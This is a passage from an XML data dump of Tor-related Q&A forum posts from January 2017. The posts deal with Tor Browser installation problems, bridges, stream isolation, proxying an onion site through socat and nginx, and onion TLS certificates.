href=&quot;https://labs.riseup.net/code/issues/11930&quot; rel=&quot;nofollow noreferrer&quot;&gt;#11930&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-01-26T07:41:23.763" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13845" PostTypeId="2" ParentId="12251" CreationDate="2017-01-26T17:44:21.323" Score="0" Body="&lt;p&gt;Auto-detection is used via WPAD/PAC files on routers, so it won't work on any platform. Set up manually SOCKS proxy. I do recommend Firefox and FoxyProxy addon. Also you can use other browsers if they do support SOCKS &lt;em&gt;properly&lt;/em&gt;. If the problem is with SOCKS - try using polipo to make HTTP proxy interface available&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-01-26T17:44:21.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13846" PostTypeId="2" ParentId="13841" CreationDate="2017-01-26T17:55:04.823" Score="0" Body="&lt;p&gt;Tor browser is &lt;em&gt;a browser&lt;/em&gt;, so it physically can't provide you the isolation level higher than any application can do it. If you need greater isolation than provided by browser(not just Tor Browser, but any of them) - use a dedicated VM for your setup, that's what I'm highly recommending you in case of &lt;em&gt;any&lt;/em&gt; file sharing application usage, not just via Tor. An isolated VM can be a bit more complicated to set up from the very beginning, but it's worth the effort put into it: it won't have not just network access other than you have specified, but also - even using zero-day exploits - it's unable to jailbreak out into the host machine, so you're ensured that the files that you explicitly made available on read-only basis for sharing are actually shared &lt;em&gt;and no other files&lt;/em&gt;. You can use either KVM in Linux host case, but personally I prefer Virtualbox or Xen - depending on the setup&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-01-26T17:55:04.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13848" PostTypeId="2" ParentId="13839" CreationDate="2017-01-26T22:40:39.733" Score="1" Body="&lt;p&gt;Yes it is possible,&#xA;It all depends on the torrc file in the folder or the tor browser,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you just want different settings, and not run multiple profiles at the same time, you exchange the torrc file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to run different settings at the same time, copy the folder multiple times, and make sure that the settings TorDirectory and SocksPort are different.&#xA;You will also have to change the Socksport of the used proxy in the torbrowser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any questions? ask!&lt;/p&gt;&#xA;" OwnerUserId="15988" LastActivityDate="2017-01-26T22:40:39.733" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13849" PostTypeId="1" CreationDate="2017-01-27T05:53:47.630" Score="1" ViewCount="112" Body="&lt;p&gt;Recently updated 2.10...I don't understand why every flash drive I plug in doesn't show up. I have my key saved on my flash drives.&lt;/p&gt;&#xA;" OwnerUserId="16015" LastActivityDate="2017-01-27T05:53:47.630" Title="Why can't I see my flash drive when I try to import my pgp key?" Tags="|tails|" AnswerCount="0" CommentCount="1" ClosedDate="2017-01-31T15:00:22.217" ContentLicense="CC BY-SA 3.0" />
  <row Id="13851" PostTypeId="1" CreationDate="2017-01-27T21:26:01.733" Score="1" ViewCount="81" Body="&lt;p&gt;I have been using TOR browser for awhile now and am generally happy with it. But it seems there is some Generic Virus living in it and worse the version 6.5 after the upgrade and my anti-virus has eliminated the threat the shortcut loses track of where my browser live. I felt it would be good to share this information. I have Windows 10 on a Toshiba Satellite.&lt;/p&gt;&#xA;" OwnerUserId="16025" LastActivityDate="2017-01-27T21:26:01.733" Title="The latest version of the Download installer seems to be infected with a virus" Tags="|tor-browser-bundle|" AnswerCount="0" CommentCount="4" ClosedDate="2017-01-29T12:35:21.030" ContentLicense="CC BY-SA 3.0" />
  <row Id="13852" PostTypeId="2" ParentId="13841" CreationDate="2017-01-28T01:43:22.453" Score="0" Body="&lt;p&gt;With thanks to @canonizing ironize above, I can add a bit more information. The README.md file on the &lt;a href=&quot;https://github.com/micahflee/onionshare&quot; rel=&quot;nofollow noreferrer&quot;&gt;GitHub repository for OnionShare&lt;/a&gt; explains that:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If you're interested in exactly what OnionShare does and does not protect against, read the &lt;a href=&quot;https://github.com/micahflee/onionshare/blob/master/SECURITY.md&quot; rel=&quot;nofollow noreferrer&quot;&gt;Security Design Document&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="435" LastEditorUserId="5234" LastEditDate="2017-01-29T12:45:42.260" LastActivityDate="2017-01-29T12:45:42.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13853" PostTypeId="2" ParentId="13731" CreationDate="2017-01-28T02:00:06.320" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Q 1 So I am assuming that this is unencrypted data. Is this correct?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;There is no &quot;data&quot;, this is a TCP handshake, you cannot send data until the 3 way handshake is completed. This is simply establishing a TCP stream for the application data to be sent over.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Q 2 Are the first three packets I see (SYN, SYN-ACK and the ACK) between the tor client and the tor relay and bridge and all packet there after encrypted when using a bridge and a relay?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;No, the process is the same. Any TCP connection must start with this handshake. There is nothing to encrypt at this stage of the connection.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Q 3 If the keys are public keys that are used to connect to the tor network would the keys be know by the attacker as well ?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Yes, the attacker would know the public keys however the attacker cannot decrypt data encrypted to the public keys without the corresponding private key and similarly they cannot sign data from the public key without the corresponding private key. The private key is only known by the relay you're communicating with, this acts as proof that you are talking to the relay you intended to talk to.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Q 4 Does this mean the attacker can intercept the connection?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;No, the attacker has no knowledge of the private key, only the public key.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Further reading: &lt;a href=&quot;https://en.wikipedia.org/wiki/Transmission_Control_Protocol#Connection_establishment&quot; rel=&quot;nofollow noreferrer&quot;&gt;TCP Handshake&lt;/a&gt;, &lt;a href=&quot;https://en.wikipedia.org/wiki/Public-key_cryptography&quot; rel=&quot;nofollow noreferrer&quot;&gt;Public Key Cryptography&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-01-28T02:00:06.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13856" PostTypeId="1" CreationDate="2017-01-28T12:06:46.503" Score="1" ViewCount="937" Body="&lt;p&gt;can obfs4 bridges bypass china firewall and turkey, iran's block? I know some bridges may not work in those countrys.&lt;/p&gt;&#xA;" OwnerUserId="16029" LastActivityDate="2018-04-06T00:32:01.237" Title="can obfs4 bridges bypass china firewall and turkey , iran's block?" Tags="|obfs4|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13857" PostTypeId="1" CreationDate="2017-01-28T13:28:55.973" Score="0" ViewCount="17060" Body="&lt;p&gt;I am using Windows 7 Service pack 1, 64 bits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I downloaded Tor (last version 6.5) on a oficial webpage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't install program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot; Error opening file for writing : C:\Program Files (x86)\Tor Browser\Browser\AccesibleMarshall.dll&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Click Abord to stop the installation &#xA;Retry to try again, or &#xA;Ignore to skip this file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help and explanation.&lt;/p&gt;&#xA;" OwnerUserId="16030" LastEditorDisplayName="user5" LastEditDate="2017-01-28T15:55:27.033" LastActivityDate="2018-12-05T04:15:22.017" Title="Error when installing Tor Browser" Tags="|tor-install|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13858" PostTypeId="2" ParentId="12268" CreationDate="2017-01-28T14:39:56.377" Score="0" Body="&lt;p&gt;Yes, it will have a performance impact. How big - it depends on your network speed, Tor node hardware and your settings. Generally, if you need to isolate your streams in common case like yours - use &lt;strong&gt;IsolateDestAddr&lt;/strong&gt;, because port isolation will be of no use in your case: RSS feeds are usually on HTTP(80) or HTTPS(443) ports, so &lt;strong&gt;IsolateDestPort&lt;/strong&gt; will make almost no use for you, but will cost resources, but if your feeds are on different hosts - address-based isolation will certanly use it's payload not in vain. Will your traffic be more identifiable? If you're using Tor in client-only mode - I rather say yes than no, but if you're using Tor as a middle node - then the answer is no. So set up your Tor as a middle node(make ORPort and DirPort reachable from outside and declare them in config + &lt;code&gt;ClientOnly 0&lt;/code&gt;) and try to use address-based isolation, this will be better.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-01-28T14:39:56.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13859" PostTypeId="2" ParentId="13856" CreationDate="2017-01-28T14:46:25.503" Score="1" Body="&lt;p&gt;it depends on usage case, but generally - yes. Obfs 3 and 4 are good when properly used - as all bridges you need to pay attention to elaborate the bridge key. But in such a countries you better use a private bridges, i.e. not published ones&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-01-28T14:46:25.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13861" PostTypeId="2" ParentId="13857" CreationDate="2017-01-28T18:43:06.450" Score="2" Body="&lt;p&gt;Do not try to install Tor Browser into global directories, these require Administrator permissions to write to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead install it to somewhere that your user account owns, like your Desktop or a similar location, this avoids the requirement for administrator privileges. Nothing about using Tor Browser should require administrator privileges and it would be needlessly dangerous to provide it them.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-01-28T18:43:06.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13862" PostTypeId="1" CreationDate="2017-01-28T18:48:27.363" Score="0" ViewCount="358" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/UJkcD.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/UJkcD.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Google site said You're a Robot during used Tor . what is it? &#xA;Google site said You're a Robot during used Tor . what is it? &#xA;Google site said You're a Robot during used Tor . what is it? &#xA;Google site said You're a Robot during used Tor . what is it? &#xA;Google site said You're a Robot during used Tor . what is it? &#xA;Google site said You're a Robot during used Tor . what is it? &#xA;Google site said You're a Robot during used Tor . what is it? &lt;/p&gt;&#xA;" OwnerUserId="16032" LastActivityDate="2017-06-11T13:27:08.143" Title="Google site said You're a Robot during used Tor . what is it?" Tags="|error|google|" AnswerCount="1" CommentCount="0" ClosedDate="2017-01-31T16:06:56.463" ContentLicense="CC BY-SA 3.0" />
  <row Id="13864" PostTypeId="1" CreationDate="2017-01-28T21:21:33.487" Score="0" ViewCount="1543" Body="&lt;p&gt;Is there an application in Tails where I can take a snapshot of the screen and save it? I have the print screen key on my computer, but am not sure if Tails has an application for it. I will check the applications again.&lt;/p&gt;&#xA;" OwnerUserId="16034" LastEditorDisplayName="user5" LastEditDate="2017-01-28T21:47:11.223" LastActivityDate="2017-01-29T01:24:49.143" Title="Does Tails have a screenshot application?" Tags="|tails|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13866" PostTypeId="1" CreationDate="2017-01-28T23:37:15.743" Score="0" ViewCount="117" Body="&lt;p&gt;Could  there  be  such  a  thing  as  an  &quot;imposter&quot;  Tor?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could  anyone  mistakenly  download  an  &quot;imposter&quot;  version  of  Tor?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tomadeus&lt;/p&gt;&#xA;" OwnerUserId="16036" LastActivityDate="2017-01-29T00:50:47.160" Title="THE AUTHENTIC TOR?" Tags="|security|" AnswerCount="1" CommentCount="0" ClosedDate="2017-01-29T12:36:04.947" ContentLicense="CC BY-SA 3.0" />
  <row Id="13867" PostTypeId="2" ParentId="13866" CreationDate="2017-01-29T00:50:47.160" Score="0" Body="&lt;p&gt;It does exists. When I helped people I saw some examples of fake Tor and Tor Browser Bundle distributions. One of them was so good-tinkered that even mimiced tor's standart output and error messages, &lt;em&gt;and even tried to work&lt;/em&gt;! &lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-01-29T00:50:47.160" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13868" PostTypeId="2" ParentId="13864" CreationDate="2017-01-29T01:24:49.143" Score="1" Body="&lt;p&gt;Yes, the printscreen key should work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can also be invoked through a program called &quot;Screenshot&quot;, which provides the same functionality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is part of the core Gnome desktop environment which Tails uses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the &lt;a href=&quot;https://help.gnome.org/users/gnome-help/stable/screen-shot-record.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;Gnome user guide&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;&lt;p&gt;Open Screenshot from the Activities overview.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;In the Screenshot window, select whether to grab the whole screen, the current window, or an area of the screen. Set a delay if you need&#xA;  to select a window or otherwise set up your desktop for the&#xA;  screenshot. Then choose any effects you want.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;Click Take Screenshot.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;If you selected Select area to grab, the pointer changes into a crosshair. Click and drag the area you want for the screenshot.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;In the Save Screenshot window, enter a file name and choose a folder, then click Save.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;Alternatively, import the screenshot directly into an image-editing application without saving it first. Click Copy to&#xA;  Clipboard then paste the image in the other application, or drag the&#xA;  screenshot thumbnail to the application.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-01-29T01:24:49.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13869" PostTypeId="2" ParentId="13534" CreationDate="2017-01-29T01:59:38.903" Score="1" Body="&lt;p&gt;Auto-updating/unattended-updating mechanisms can be a doomsday backdoor, Moxie Marlynspike has &lt;a href=&quot;https://www.youtube.com/watch?v=ibF36Yyeehw&quot; rel=&quot;nofollow noreferrer&quot;&gt;demonstrated it well on DEFCON&lt;/a&gt; - it allows/opens-a-potential-ability to replace the updated system's &lt;strong&gt;any&lt;/strong&gt; component by an attacker&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-01-29T01:59:38.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13870" PostTypeId="1" CreationDate="2017-01-29T07:30:23.353" Score="0" ViewCount="60" Body="&lt;p&gt;When I click on a link in an onion site, more times than not it says can't connect.  When I press retry, it works.  Another problem is downloading an archive.  The download starts and then fails after a minute or so.  It makes no difference what the site is - all downloads fail. Tor 6.0.8 worked just fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Windows 7)&lt;/p&gt;&#xA;" OwnerUserId="16040" LastActivityDate="2017-01-29T10:04:23.193" Title="Is it possible to get the 6.0.8 version as the 6.5.0 version doesn't seem to be reliable?" Tags="|help|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13871" PostTypeId="2" ParentId="13870" CreationDate="2017-01-29T10:04:23.193" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;em&gt;Is it possible to get the 6.0.8 version&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, you can download it in &lt;a href=&quot;https://archive.torproject.org/tor-package-archive/torbrowser/6.0.8/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://archive.torproject.org/tor-package-archive/torbrowser/6.0.8/&lt;/a&gt; Onion link for onion lovers: yjuwkcxlgo7f7o6s.onion/tor-package-archive/torbrowser/6.0.8/&lt;/p&gt;&#xA;" OwnerUserId="16042" LastActivityDate="2017-01-29T10:04:23.193" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13873" PostTypeId="1" CreationDate="2017-01-29T14:48:28.887" Score="1" ViewCount="734" Body="&lt;p&gt;The question almost says it all. Are their some disadvantages when being on whether HTTP or HTTPS while using tor with the purpose of having anonymous traffic or is it all working equally optimal?&#xA;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="16047" LastActivityDate="2017-01-29T22:33:58.160" Title="Does Tor work the same when on HTTP-sites and HTTPS-sites?" Tags="|protocol|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13875" PostTypeId="1" CreationDate="2017-01-29T16:51:01.393" Score="0" ViewCount="495" Body="&lt;p&gt;When using Tor Browser I see that the Tor Browser and Firefox versions differ.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The current version of Tor Browser (based on firefox) is 45.7.0&#xA;The current version of Firefox is 51.0.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why doesn't Tor Browser use the same version of Firefox? Doesn't this pose a security risk?&lt;/p&gt;&#xA;" OwnerUserId="16030" LastEditorUserId="12737" LastEditDate="2017-01-30T03:20:20.197" LastActivityDate="2017-01-30T03:20:20.197" Title="Difference of Tor Browser and Firefox version" Tags="|security|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13876" PostTypeId="2" ParentId="13875" CreationDate="2017-01-29T17:05:28.137" Score="2" Body="&lt;p&gt;The Tor Browser uses a long-term supported version of Firefox, to be sure its vetted from the security bugs and to provide the most stable and expectable behavior possible.&lt;/p&gt;&#xA;" OwnerUserId="15988" LastEditorUserId="12737" LastEditDate="2017-01-30T03:13:39.627" LastActivityDate="2017-01-30T03:13:39.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13877" PostTypeId="2" ParentId="13873" CreationDate="2017-01-29T17:08:57.020" Score="1" Body="&lt;p&gt;In the way tor treats the traffic, there is no difference,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using HTTP and in some cases HTTPS ( if it is not properly configured ref. HSTS ) is hazardous in many situations.&#xA;Because traffic is going to chokepoints in the tor system unencrypted (exit nodes), changing the traffic aka Man in the Middle attacks are possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Always use HTTPS (at least) when on Tor !&lt;/p&gt;&#xA;" OwnerUserId="15988" LastActivityDate="2017-01-29T17:08:57.020" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13878" PostTypeId="2" ParentId="13873" CreationDate="2017-01-29T22:33:58.160" Score="0" Body="&lt;p&gt;Tor works on OSI layers 3 and 4 in TCP, it does not care at all the stuff layers above. It's walking &lt;em&gt;through&lt;/em&gt; tor equally, as I previously said, but even considering a middle node not being a malicious one - if your plaintext/unsecured traffic leaves Tor encryption - it's still itself, i.e. an insecure one. Using HTTP is OK if you're using dot-onion hidden service, because traffic does not leave the Tor network, but otherwise - using an encryption &lt;strong&gt;and&lt;/strong&gt; &lt;em&gt;decentralized&lt;/em&gt; DNS, certificate validation and signature checking is crucial nowdays. Take a look at &lt;a href=&quot;https://perspectives-project.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Project perspectives&lt;/a&gt;, for example.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-01-29T22:33:58.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13879" PostTypeId="2" ParentId="13875" CreationDate="2017-01-29T22:36:26.110" Score="0" Body="&lt;p&gt;Tor Browser is a Firefox ESR(extended support release) tweaked in a way that are supposed to improve your security and anonymity. Because it's a long-term supported release - it's obvious that it's not the latest one, but security patches are supposed to be merged into it with the same speed as in a mainline one. Tor Browser does it's job well, &lt;em&gt;but it's still a browser&lt;/em&gt;, so it's unable to protect you as wide as an isolated VM&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-01-29T22:36:26.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13880" PostTypeId="2" ParentId="13862" CreationDate="2017-01-29T22:37:58.143" Score="0" Body="&lt;p&gt;Send through a Tor control protocol &lt;code&gt;SIGNAL NEWNYM&lt;/code&gt; - it will rebuild the circuits and you will have an exit node changed.&#xA;Or, you could press Ctrl+Shift+U in a Tor browser, that will work too.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastEditorUserId="17825" LastEditDate="2017-06-11T13:27:08.143" LastActivityDate="2017-06-11T13:27:08.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13882" PostTypeId="1" CreationDate="2017-01-30T08:51:21.950" Score="1" ViewCount="137" Body="&lt;p&gt;I get this error when I sudo apt-get update:&#xA;&quot;N: Skipping acquire of configured file 'main/binary-arm64/Packages' as repository '&lt;a href=&quot;https://deb.torproject.org/torproject.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://deb.torproject.org/torproject.org&lt;/a&gt; xenial InRelease' doesn't support architecture 'arm64'&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Haven't figured out how to solve this. What might cause this error? &#xA;I have Pine64 with Ubuntu 16.04.1 LTS (GNU/Linux 3.10.102-0-pine64-longsleep aarch64)&lt;/p&gt;&#xA;" OwnerUserId="16057" LastActivityDate="2017-01-30T08:51:21.950" Title="Tor doesn't support architecture arm64?" Tags="|tor-install|" AnswerCount="0" CommentCount="0" ClosedDate="2017-01-31T16:06:31.070" ContentLicense="CC BY-SA 3.0" />
  <row Id="13884" PostTypeId="2" ParentId="13792" CreationDate="2017-01-31T07:36:51.123" Score="1" Body="&lt;p&gt;You can use &lt;a href=&quot;http://www.dest-unreach.org/socat/doc/socat.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;socat&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nginx config:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;location / {&#xA;    proxy_pass http://127.0.0.1:81/;&#xA;    proxy_set_header Host $host;&#xA;    proxy_set_header X-Real-IP $remote_addr;&#xA;    proxy_set_header X-Forwarded-For $remote_addr;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Socat command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;socat tcp4-LISTEN:81,reuseaddr,fork,keepalive,bind=127.0.0.1 SOCKS4A:127.0.0.1:yourtordomain.onion:80,socksport=9050&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Update:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want run socat as daemon.&#xA;Create file socat.sh and set permission to 744:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/bin/bash&#xA;socat tcp4-LISTEN:81,reuseaddr,fork,keepalive,bind=127.0.0.1 SOCKS4A:127.0.0.1:yourtordomain.onion:80,socksport=9050&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And run it over screen:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;screen -A -m -d -S SOCAT_DAEMON ./socat.sh&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16077" LastEditorUserId="16077" LastEditDate="2017-01-31T07:49:53.933" LastActivityDate="2017-01-31T07:49:53.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13885" PostTypeId="1" CreationDate="2017-01-31T11:50:39.633" Score="1" ViewCount="45" Body="&lt;p&gt;How can I force Tor Browser to only use nodes in specific countries? I mean all nodes: entry, middle and exit!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example only {es}, {us}, {it} and {jp}&lt;/p&gt;&#xA;" OwnerUserId="16078" LastActivityDate="2017-01-31T11:50:39.633" Title="How to specify nodes (not just exit nodes)?" Tags="|tor-browser-bundle|" AnswerCount="0" CommentCount="0" ClosedDate="2017-02-14T09:52:48.780" ContentLicense="CC BY-SA 3.0" />
  <row Id="13887" PostTypeId="1" CreationDate="2017-01-31T15:57:48.837" Score="2" ViewCount="1291" Body="&lt;p&gt;Is it possible to register my onion with LetsEncrypt? I'm using Arch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If no, why not?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="16082" LastActivityDate="2023-08-20T21:17:08.003" Title="Registering .onion with Certificate Authority?" Tags="|tor-browser-bundle|configuration|onion-services|server|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13891" PostTypeId="2" ParentId="13887" CreationDate="2017-01-31T20:07:21.233" Score="2" Body="&lt;p&gt;You cannot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently only &lt;a href=&quot;https://blog.digicert.com/anonymous-facebook-via-tor/&quot; rel=&quot;nofollow noreferrer&quot;&gt;EV certs that are valid for both some canonicle domain and an onion address&lt;/a&gt; are able to have TLS certificates issued but not an onion address alone, and not non-EV certificates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is essentially a policy thing internal to the CA/Browser forum.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;https://cabforum.org/pipermail/public/2015-November/006213.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Ryan Sleevi's response to Alec Muffett asking the same question&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;- At Google, we were (and are) concerned with the cryptographic strength of&#xA;  the .onion naming scheme, which employs both SHA-1 and RSA-1024.&quot;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&quot;- Related to that first point, the choice of EV discourages attackers&#xA;  making such cryptographic attacks against sites operating .onion sites, as&#xA;  it requires some form of identity validation of who the attacker is, even&#xA;  if they have the cryptographic resources to mount such an attack.&quot;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&quot;- While this is a position that we (Google) generally disagree with, many&#xA;  CAs feel that it should be their responsibility to police subscriber's&#xA;  content and revoke certificates whose content they (or their governments)&#xA;  disagree with.&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Further reading: &quot;&lt;a href=&quot;https://github.com/certbot/certbot/issues/91&quot; rel=&quot;nofollow noreferrer&quot;&gt;onion address support&lt;/a&gt;&quot;, &quot;&lt;a href=&quot;https://community.letsencrypt.org/t/letsencrypt-for-onion/10045/5&quot; rel=&quot;nofollow noreferrer&quot;&gt;Letsencrypt for .onion?&lt;/a&gt;&quot;&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="16326" LastEditDate="2017-02-17T19:54:51.310" LastActivityDate="2017-02-17T19:54:51.310" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13892" PostTypeId="1" CreationDate="2017-01-31T22:37:04.260" Score="1" ViewCount="439" Body="&lt;p&gt;I am using raspbian configured as an AP with a Wifi dongle and an ethernet out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;AP works fine, I can connect and get an IP on the WIFI part.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Forwarding seems to work as I can also get a website from a wireless device and a Traceroute also shows me routing from wifi to ethernet, but TOR doesn't seem to be operating.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Status is showing as working fine but if I go to ipchicken it shows my real IP address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For configuration, I &lt;a href=&quot;https://learn.adafruit.com/onion-pi/install-tor&quot; rel=&quot;nofollow noreferrer&quot;&gt;followed these instructions&lt;/a&gt; but changed the IP addresses for translisten and DNS listen to the ethernet address of the Pi. From a flow perspective, my device connects to the Pi AP, this then forwards to the Pi Ethernet port, which then uses my ADSL router gateway to enter the internet. That works fine but it shows my public IP address still. Am I missing a piece?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: it is currently working. The IPTables commands for ports 53 and 9040 seem to reset on reboot. I have to re-enter them. I did the save as listed. Any ideas how to make them load?&lt;/p&gt;&#xA;" OwnerUserId="16087" LastEditorDisplayName="user6671" LastEditDate="2019-02-10T20:01:36.173" LastActivityDate="2019-02-10T20:01:36.173" Title="Not forwarding to TOR" Tags="|configuration|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
